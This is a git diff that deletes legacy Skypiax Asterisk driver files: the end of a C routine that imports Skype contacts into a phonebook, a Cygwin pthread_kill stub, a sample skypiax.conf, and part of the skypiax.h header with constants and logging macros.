-                                       stringp = &buf;
-                                       where = strsep(stringp, ", ");
-                                       while (where) {
-                                               if (where[0] != '\0') {
-                                                       /*
-                                                        * So, we have the Skype username (the HANDLE, I think is called).
-                                                        * But we want to call the names we see in the Skype contact list
-                                                        * So, let's check the DISPLAYNAME (the end user modified contact name)
-                                                        * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME 
-                                                        * if the end user has not modify it)
-                                                        * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the 
-                                                        * Skipe username (the HANDLE)
-                                                        */
-
-                                                       p->skype_displayname[0] = '\0';
-                                                       sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
-                                                       skypiax_signaling_write(p, msg_to_skype);
-                                                       int displayname_count = 0;
-                                                       while (p->skype_displayname[0] == '\0') {
-                                                               /* FIXME needs a timeout, can't wait forever! 
-                                                                * eg. when skype is running but not connected! */
-                                                               usleep(100);
-                                                               displayname_count++;
-                                                               if (displayname_count > 20000)
-                                                                       return -1;      /* FIXME */
-                                                       }
-                                                       if (p->skype_displayname[0] != '\0') {
-                                                               char *where2;
-                                                               char sanitized[300];
-
-                                                               sanitized[0] = '\0';
-
-                                                               where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
-                                                               if (where2) {
-
-                                                                       /* there can be some *smart* that makes a displayname 
-                                                                        * that is different than first<space>last, */
-                                                                       /* maybe initials, simbols, slashes, 
-                                                                        * something smartish... let's check */
-
-                                                                       if (where2[12] != '\0') {
-                                                                               int i = 12;
-                                                                               int x = 0;
-                                                                               int spaces = 0;
-                                                                               int last_char_was_space = 0;
-
-                                                                               for (i = 12; i < strlen(where2) && x < 299; i++) {
-                                                                                       if (!isalnum(where2[i])) {
-                                                                                               if (!isblank(where2[i])) {
-                                                                                                       /* bad char */
-                                                                                                       continue;
-                                                                                               }
-                                                                                               /* is a space */
-                                                                                               if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
-                                                                                                       continue;
-                                                                                               last_char_was_space = 1;
-                                                                                               sanitized[x] = ' ';
-                                                                                               x++;
-                                                                                               continue;
-                                                                                       }
-                                                                                       /* is alphanum */
-                                                                                       last_char_was_space = 0;
-                                                                                       sanitized[x] = where2[i];
-                                                                                       x++;
-                                                                                       continue;
-                                                                               }
-
-                                                                               sanitized[x] = '\0';
-                                                                               if (spaces == 0) {
-                                                                               }
-                                                                               DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[12]);
-                                                                       }
-
-                                                                       if (where2[12] != '\0') {
-                                                                               skypiax_dir_entry_extension++;
-                                                                               if (where[0] == '+' || isdigit(where[0])) {     /* is a skypeout number */
-                                                                                       fprintf(p->phonebook_writing_fp,
-                                                                                                       "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                       where, sanitized, "no",
-                                                                                                       p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
-                                                                               } else {        /* is a skype name */
-                                                                                       fprintf(p->phonebook_writing_fp,
-                                                                                                       "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                       where, sanitized, "no",
-                                                                                                       p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
-                                                                               }
-                                                                               skype_dir_file_written = 1;
-
-                                                                       }
-                                                               }
-                                                       }
-                                                       p->skype_displayname[0] = '\0';
-
-                                                       p->skype_fullname[0] = '\0';
-                                                       sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
-                                                       skypiax_signaling_write(p, msg_to_skype);
-                                                       int fullname_count = 0;
-                                                       while (p->skype_fullname[0] == '\0') {
-                                                               /* FIXME needs a timeout, can't wait forever! 
-                                                                * eg. when skype is running but not connected! */
-                                                               usleep(100);
-                                                               fullname_count++;
-                                                               if (fullname_count > 20000)
-                                                                       return -1;      /* FIXME */
-                                                       }
-                                                       if (p->skype_fullname[0] != '\0') {
-                                                               char *where2;
-                                                               char sanitized[300];
-
-                                                               where2 = strstr(p->skype_fullname, "FULLNAME ");
-                                                               if (where2) {
-
-                                                                       /* there can be some *smart* that makes a fullname 
-                                                                        * that is different than first<space>last, */
-                                                                       /* maybe initials, simbols, slashes,
-                                                                        *  something smartish... let's check */
-
-                                                                       if (where2[9] != '\0') {
-                                                                               int i = 9;
-                                                                               int x = 0;
-                                                                               int spaces = 0;
-                                                                               int last_char_was_space = 0;
-
-                                                                               for (i = 9; i < strlen(where2) && x < 299; i++) {
-                                                                                       if (!isalnum(where2[i])) {
-                                                                                               if (!isblank(where2[i])) {
-                                                                                                       /* bad char */
-                                                                                                       continue;
-                                                                                               }
-                                                                                               /* is a space */
-                                                                                               if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
-                                                                                                       continue;
-                                                                                               last_char_was_space = 1;
-                                                                                               sanitized[x] = ' ';
-                                                                                               x++;
-                                                                                               continue;
-                                                                                       }
-                                                                                       /* alphanum */
-                                                                                       last_char_was_space = 0;
-                                                                                       sanitized[x] = where2[i];
-                                                                                       x++;
-                                                                                       continue;
-                                                                               }
-
-                                                                               sanitized[x] = '\0';
-                                                                               if (spaces == 0) {
-                                                                               }
-                                                                               DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[9]);
-                                                                       }
-
-                                                                       if (skype_dir_file_written == 0) {
-                                                                               skypiax_dir_entry_extension++;
-                                                                               if (where2[9] != '\0') {
-                                                                                       if (where[0] == '+' || isdigit(where[0])) {     /* is a skypeout number */
-                                                                                               fprintf(p->phonebook_writing_fp,
-                                                                                                               "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                               where, sanitized, "no",
-                                                                                                               p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
-                                                                                       } else {        /* is a skype name */
-                                                                                               fprintf(p->phonebook_writing_fp,
-                                                                                                               "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                               where, sanitized, "no",
-                                                                                                               p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
-
-                                                                                       }
-
-                                                                               } else {
-                                                                                       if (where[0] == '+' || isdigit(where[0])) {     /* is a skypeout number */
-                                                                                               fprintf(p->phonebook_writing_fp,
-                                                                                                               "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                               where, where, "no", p->skypiax_dir_entry_extension_prefix,
-                                                                                                               "2", skypiax_dir_entry_extension, "yes", "not_specified");
-                                                                                       } else {        /* is a skype name */
-                                                                                               fprintf(p->phonebook_writing_fp,
-                                                                                                               "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
-                                                                                                               where, where, "no", p->skypiax_dir_entry_extension_prefix,
-                                                                                                               "1", skypiax_dir_entry_extension, "yes", "not_specified");
-
-                                                                                       }
-                                                                               }
-                                                                       }
-
-                                                                       skype_dir_file_written = 0;
-
-                                                               }
-
-                                                       }
-                                                       p->skype_fullname[0] = '\0';
-
-                                               }
-                                               where = strsep(stringp, ", ");
-                                       }
-
-                                       p->skype_friends[0] = '\0';
-                               }
-                       }
-               } else {
-
-                       ast_cli(fd, "Skype not configured on the 'current' console, not importing from Skype client!\n");
-               }
-               //}
-  /*******************************************************************************************/
-  /*******************************************************************************************/
-       } else {
-               ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
-               ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG, fn);
-               return RESULT_FAILURE;
-       }
-
-       fclose(p->phonebook_writing_fp);
-       //skypiax_dir_create_extensions();
-
-       return RESULT_SUCCESS;
-}
-
-private_t *find_available_skypiax_interface(void)
-{
-       private_t *p;
-       int found = 0;
-
-       /* lock the interfaces' list */
-       LOKKA(&skypiax_iflock);
-       /* make a pointer to the first interface in the interfaces list */
-       p = skypiax_iflist;
-       /* Search for the requested interface and verify if is unowned */
-       while (p) {
-               if (!p->owner) {
-                       DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
-                       found = 1;
-                       /* we found the requested interface, bail out from the while loop */
-                       break;
-               } else {
-                       /* interface owned by a channel */
-                       DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
-               }
-               /* not yet found, next please */
-               p = p->next;
-       }
-
-       /* lock the interfaces' list */
-       UNLOCKA(&skypiax_iflock);
-
-       if (found)
-               return p;
-       else
-               return NULL;
-}
-
-/************************************************/
-#ifdef ASTERISK_VERSION_1_4
-#ifndef AST_MODULE
-#define AST_MODULE "chan_skypiax"
-#endif
-AST_MODULE_INFO_STANDARD(ASTERISK_GPL_KEY, "Skypiax, Audio-Serial Driver");
-#endif /* ASTERISK_VERSION_1_4 */
-
-/* rewriting end */
-/*******************************************************************************/
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/cyg_no_pthread_kill.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/cyg_no_pthread_kill.c
deleted file mode 100644 (file)
index df2da18..0000000
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-#define PRINTMSGCYG
-
-extern int option_debug;
-int cyg_no_pthreadkill(int thread, int sig);
-
-int cyg_no_pthreadkill(int thread, int sig)
-{
-#ifdef PRINTMSGCYG
-       if (option_debug) {
-               printf
-                       ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
-                        (unsigned long int) thread, sig);
-       }
-#endif // PRINTMSGCYG
-       return 0;
-}
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.conf b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.conf
deleted file mode 100644 (file)
index 445c655..0000000
+++ /dev/null
@@ -1,207 +0,0 @@
-;;;;;;;; 
-;;;;;;;; 
-;;;;;;; Skypiax Asterisk Driver 
-;;;;;;; 
-;;;;;;; Configuration file 
-;;;;;;; lines beginning with semicolon (" are ignored (commented out)
-;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;
-;;;;;;; The first interface (named skypeclient)
-;;;;;;[skypeclient] 
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;; general settings, valid on all platforms
-;;;;;;;
-;;;;;;; 
-;;;;;;; Default language 
-;;;;;;; 
-;;;;;;language=en 
-;;;;;;; 
-;;;;;;; Default context (in extensions.conf, can be overridden with @context syntax) 
-;;;;;;; 
-;;;;;;context=default 
-;;;;;;; 
-;;;;;;; Default extension (in extensions.conf) where incoming calls land
-;;;;;;; 
-;;;;;;extension=s 
-;;;;;;; 
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;; Debugging settings, valid globally for all interfaces on all platforms
-;;;;;;;
-;;;;;;; the debug values are global for all the interfaces.
-;;;;;;;
-;;;;;;; default is no skypiax debugging output, you **have** to activate debugging here to obtain debugging from skypiax
-;;;;;;;
-;;;;;;; To see the debugging output you have to "set debug 100" from the Asterisk CLI or launch
-;;;;;;; Asterisk with -ddddddddddd option, and have the logger.conf file activating debug info for console and messages
-;;;;;;;
-;;;;;;; You can activate each of the following separately, but you can't disactivate. Eg: debug_at=no does not subtract debug_at from debug_all
-;;;;;;; debug_all activate all possible debugging info
-;;;;;;;
-;;;;;;;debug_all=yes
-;;;;;;debug_skype=yes
-;;;;;;debug_pbx=yes
-;;;;;;;debug_sound=yes
-;;;;;;;debug_locks=yes
-;;;;;;;debug_monitorlocks=yes
-;;;;;;
-;;;;;;skype=yes ; legacy setting, leave it to yes
-;;;;;;X11_display=:101
-;;;;;;tcp_cli_port=11234
-;;;;;;tcp_srv_port=11235
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-;;;;;;; audio boost settings, valid for all platforms, to compensate for different input/output audio signal levels
-;;;;;;; tweak it if you get horrible (or not hearable) sound
-;;;;;;;
-;;;;;;;boost can be positive or negative (-40 to +40) in db
-;;;;;;;experiment to find which values are best for your computer
-;;;;;;playback_boost=0 ; 
-;;;;;;capture_boost=0 ; 
-;;;;;;
-;;; [skypiax1] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:101
-;;; tcp_cli_port=15576
-;;; tcp_srv_port=15577
-;;; skype_user=skypiax1
-;;; 
-;;; [skypiax2] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:102
-;;; tcp_cli_port=15578
-;;; tcp_srv_port=15579
-;;; skype_user=skypiax2
-;;; 
-;;; [skypiax3] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:103
-;;; tcp_cli_port=15580
-;;; tcp_srv_port=15581
-;;; skype_user=skypiax3
-;;; 
-[skypiax4] 
-language=en 
-context=default 
-extension=s 
-debug_skype=yes
-debug_pbx=yes
-skype=yes ; legacy setting, leave it to yes
-playback_boost=0 ; 
-capture_boost=0 ; 
-X11_display=:104
-tcp_cli_port=15582
-tcp_srv_port=15583
-skype_user=skypiax4
-
-[skypiax5] 
-language=en 
-context=default 
-extension=s 
-debug_skype=yes
-debug_pbx=yes
-skype=yes ; legacy setting, leave it to yes
-playback_boost=0 ; 
-capture_boost=0 ; 
-X11_display=:105
-tcp_cli_port=15584
-tcp_srv_port=15585
-skype_user=skypiax5
-
-[skypiax6] 
-language=en 
-context=default 
-extension=s 
-debug_skype=yes
-debug_pbx=yes
-skype=yes ; legacy setting, leave it to yes
-playback_boost=0 ; 
-capture_boost=0 ; 
-X11_display=:106
-tcp_cli_port=15586
-tcp_srv_port=16586
-skype_user=skypiax6
-
-;;; [skypiax17] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:117
-;;; tcp_cli_port=15587
-;;; tcp_srv_port=15588
-;;; skype_user=skypiax17
-;;; 
-;;; [skypiax18] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:118
-;;; tcp_cli_port=15589
-;;; tcp_srv_port=15590
-;;; skype_user=skypiax18
-;;; 
-;;; [skypiax19] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:119
-;;; tcp_cli_port=15591
-;;; tcp_srv_port=15592
-;;; skype_user=skypiax19
-;;; 
-;;; [skypiax20] 
-;;; language=en 
-;;; context=default 
-;;; extension=s 
-;;; debug_skype=yes
-;;; debug_pbx=yes
-;;; skype=yes ; legacy setting, leave it to yes
-;;; playback_boost=0 ; 
-;;; capture_boost=0 ; 
-;;; X11_display=:120
-;;; tcp_cli_port=15593
-;;; tcp_srv_port=15594
-;;; skype_user=skypiax20
-;;; 
-;;; 
-;;; 
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.h b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.h
deleted file mode 100644 (file)
index e16edc9..0000000
+++ /dev/null
@@ -1,427 +0,0 @@
-//indent -gnu -ts4 -br -brs -cdw -lp -ce -nbfda -npcs -nprs -npsl -nbbo -saf -sai -saw -cs -bbo -nhnl -nut -sob -l90 
-#ifndef _SKYPIAX_H_
-#define _SKYPIAX_H_
-
-#ifndef SKYPIAX_SVN_VERSION
-#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
-#endif
-
-#include <asterisk/version.h>  /* needed here for conditional compilation on version.h */
-  /* the following #defs are for LINUX */
-#ifndef __CYGWIN__
-#ifndef ASTERISK_VERSION_1_6
-#ifndef ASTERISK_VERSION_1_4
-#ifndef ASTERISK_VERSION_1_2
-#define ASTERISK_VERSION_1_4
-#if(ASTERISK_VERSION_NUM == 999999)
-#undef ASTERISK_VERSION_1_4
-#elif(ASTERISK_VERSION_NUM < 10400)
-#undef ASTERISK_VERSION_1_4
-#endif /* ASTERISK_VERSION_NUM == 999999 || ASTERISK_VERSION_NUM < 10400 */
-#endif /* ASTERISK_VERSION_1_2 */
-#endif /* ASTERISK_VERSION_1_4 */
-#endif /* ASTERISK_VERSION_1_6 */
-#ifdef ASTERISK_VERSION_1_2
-#undef ASTERISK_VERSION_1_4
-#endif /* ASTERISK_VERSION_1_2 */
-#ifdef ASTERISK_VERSION_1_6
-#define ASTERISK_VERSION_1_4
-#endif /* ASTERISK_VERSION_1_6 */
-#define SKYPIAX_SKYPE
-#define WANT_SKYPE_X11
-#endif /* NOT __CYGWIN__ */
-  /* the following #defs are for WINDOWS */
-#ifdef __CYGWIN__
-#undef ASTERISK_VERSION_1_4
-#undef ASTERISK_VERSION_1_6
-#define SKYPIAX_SKYPE
-#undef WANT_SKYPE_X11
-#endif /* __CYGWIN__ */
-
-/* INCLUDES */
-#ifdef ASTERISK_VERSION_1_6
-#include <asterisk.h>                  /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
-#endif /* ASTERISK_VERSION_1_6 */
-#include <unistd.h>
-#include <termios.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <math.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <string.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <ctype.h>
-#ifndef ASTERISK_VERSION_1_4
-#include <stdlib.h>
-#include <stdio.h>
-#endif /* ASTERISK_VERSION_1_4 */
-#include <asterisk/frame.h>
-#include <asterisk/channel.h>
-#include <asterisk/module.h>
-#include <asterisk/options.h>
-#include <asterisk/pbx.h>
-#include <asterisk/config.h>
-#include <asterisk/cli.h>
-#include <asterisk/causes.h>
-#include <asterisk/endian.h>
-#include <asterisk/lock.h>
-#include <asterisk/devicestate.h>
-#include <asterisk/file.h>
-#include <asterisk/say.h>
-#ifdef ASTERISK_VERSION_1_6
-#include <asterisk/astobj2.h>
-#include <asterisk/paths.h>
-#endif /* ASTERISK_VERSION_1_6 */
-#ifdef ASTERISK_VERSION_1_4
-#include <asterisk/stringfields.h>
-#include <asterisk/abstract_jb.h>
-#include <asterisk/logger.h>
-#include <asterisk/utils.h>
-#endif /* ASTERISK_VERSION_1_4 */
-#ifdef ASTERISK_VERSION_1_2
-#include <asterisk/utils.h>
-#include <asterisk/logger.h>
-#endif /* ASTERISK_VERSION_1_2 */
-#ifdef HAVE_CONFIG_H
-#include <config.h>
-#endif
-//#include "skypiax_spandsp.h"
-#ifdef __CYGWIN__
-#include <windows.h>
-#endif /* __CYGWIN__ */
-#ifdef WANT_SKYPE_X11
-#include <X11/Xlib.h>
-#include <X11/Xlibint.h>
-#include <X11/Xatom.h>
-#endif /*  WANT_SKYPE_X11 */
-#ifndef AST_DIGIT_ANYDIG
-#define AST_DIGIT_ANYDIG "0123456789*#"
-#else
-#warning Please review Skypiax AST_DIGIT_ANYDIG
-#endif
-#ifndef _ASTERISK_H
-#define AST_CONFIG_MAX_PATH 255        /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
-int ast_register_atexit(void (*func) (void));  /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-void ast_unregister_atexit(void (*func) (void));       /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-#endif
-
-/* DEFINITIONS */
-#define SAMPLERATE_SKYPIAX 8000
-#define SAMPLES_PER_FRAME SAMPLERATE_SKYPIAX/50
-#define SKYPIAX_DIR_CONFIG "directoriax.conf"
-
-/* LUIGI RIZZO's magic */
-/* boost support. BOOST_SCALE * 10 ^(BOOST_MAX/20) must
- * be representable in 16 bits to avoid overflows.
- */
-#define        BOOST_SCALE     (1<<9)
-#define        BOOST_MAX       40                      /* slightly less than 7 bits */
-/* call flow from the device */
-#define        CALLFLOW_CALL_IDLE  AST_STATE_DOWN
-#define        CALLFLOW_INCOMING_RING  AST_STATE_RING
-#define        CALLFLOW_CALL_DIALING   AST_STATE_DIALING
-#define        CALLFLOW_CALL_LINEBUSY   AST_STATE_BUSY
-#define        CALLFLOW_CALL_ACTIVE   300
-#define        CALLFLOW_INCOMING_HANGUP   100
-#define        CALLFLOW_CALL_RELEASED   101
-#define        CALLFLOW_CALL_NOCARRIER   102
-#define        CALLFLOW_CALL_INFLUX   103
-#define        CALLFLOW_CALL_INCOMING   104
-#define        CALLFLOW_CALL_FAILED   105
-#define        CALLFLOW_CALL_NOSERVICE   106
-#define        CALLFLOW_CALL_OUTGOINGRESTRICTED   107
-#define        CALLFLOW_CALL_SECURITYFAIL   108
-#define        CALLFLOW_CALL_NOANSWER   109
-#define        CALLFLOW_STATUS_FINISHED   110
-#define        CALLFLOW_STATUS_CANCELLED   111
-#define        CALLFLOW_STATUS_FAILED   112
-#define        CALLFLOW_STATUS_REFUSED   113
-#define        CALLFLOW_STATUS_RINGING   114
-#define        CALLFLOW_STATUS_INPROGRESS   115
-#define        CALLFLOW_STATUS_UNPLACED   116
-#define        CALLFLOW_STATUS_ROUTING   117
-#define        CALLFLOW_STATUS_EARLYMEDIA   118
-#define        AST_STATE_HANGUP_REQUESTED   200
-  //FIXME CALLFLOW_INCOMING_CALLID to be removed
-#define        CALLFLOW_INCOMING_CALLID   1019
-/* debugging bitmask */
-#define DEBUG_SOUND 1
-#define DEBUG_SERIAL 2
-#define DEBUG_SKYPE 4
-#define DEBUG_AT 8
-#define DEBUG_FBUS2 16
-#define DEBUG_CALL 32
-#define DEBUG_LOCKS 64
-#define DEBUG_PBX 128
-#define DEBUG_MONITORLOCKS 256
-#define DEBUG_ALL DEBUG_SOUND|DEBUG_SERIAL|DEBUG_SKYPE|DEBUG_AT|DEBUG_FBUS2|DEBUG_CALL|DEBUG_PBX|DEBUG_LOCKS|DEBUG_MONITORLOCKS
-/* wrappers for ast_log */
-#define DEBUGA_SOUND(...)  if (skypiax_debug & DEBUG_SOUND) ast_log(LOG_DEBUG,                 "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SOUND  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_SERIAL(...)  if (skypiax_debug & DEBUG_SERIAL) ast_log(LOG_DEBUG,       "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SERIAL %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_SKYPE(...)  if (skypiax_debug & DEBUG_SKYPE) ast_log(LOG_DEBUG,                 "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_SKYPE  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_AT(...)  if (skypiax_debug & DEBUG_AT) ast_log(LOG_DEBUG,               "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_AT     %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_FBUS2(...)  if (skypiax_debug & DEBUG_FBUS2) ast_log(LOG_DEBUG,                 "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_FBUS2  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_CALL(...)  if (skypiax_debug & DEBUG_CALL) ast_log(LOG_DEBUG,           "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_CALL   %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_PBX(...)  if (skypiax_debug & DEBUG_PBX) ast_log(LOG_DEBUG,             "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_PBX    %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define ERRORA(...)  ast_log(LOG_ERROR,                                                "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][ERROR        %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define NOTICA(...)  ast_log(LOG_NOTICE,                                               "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][NOTICE      %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define WARNINGA(...)  ast_log(LOG_WARNING,                                            "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][WARNING    %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-/* macros for logging */
-#define SKYPIAX_P_LOG p ? p->owner : NULL, (unsigned long)pthread_self(), __LINE__, p ? p->name ? p->name : "none" : "none", p ? p->owner ? p->owner->_state : -1 : -1,  p ? p->interface_state : -1, p ? p->skype_callflow : -1
-#define SKYPIAX_TMP_LOG tmp ? tmp->owner : NULL, (unsigned long)pthread_self(), __LINE__, tmp ? tmp->name ? tmp->name : "none" : "none", tmp ? tmp->owner ? tmp->owner->_state : -1 : -1,  tmp ? tmp->interface_state : -1, tmp ? tmp->skype_callflow : -1
-/* logging wrappers for ast_mutex_lock and ast_mutex_unlock */
-#define LOKKA(x)  if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
-#define UNLOCKA(x)  if (skypiax_debug & DEBUG_LOCKS)  ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n",  SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n");   if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS  %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
-#define PUSHA_UNLOCKA(x)    pthread_cleanup_push(skypiax_unlocka_log, (void *) x);
-#define POPPA_UNLOCKA(x)    pthread_cleanup_pop(0);
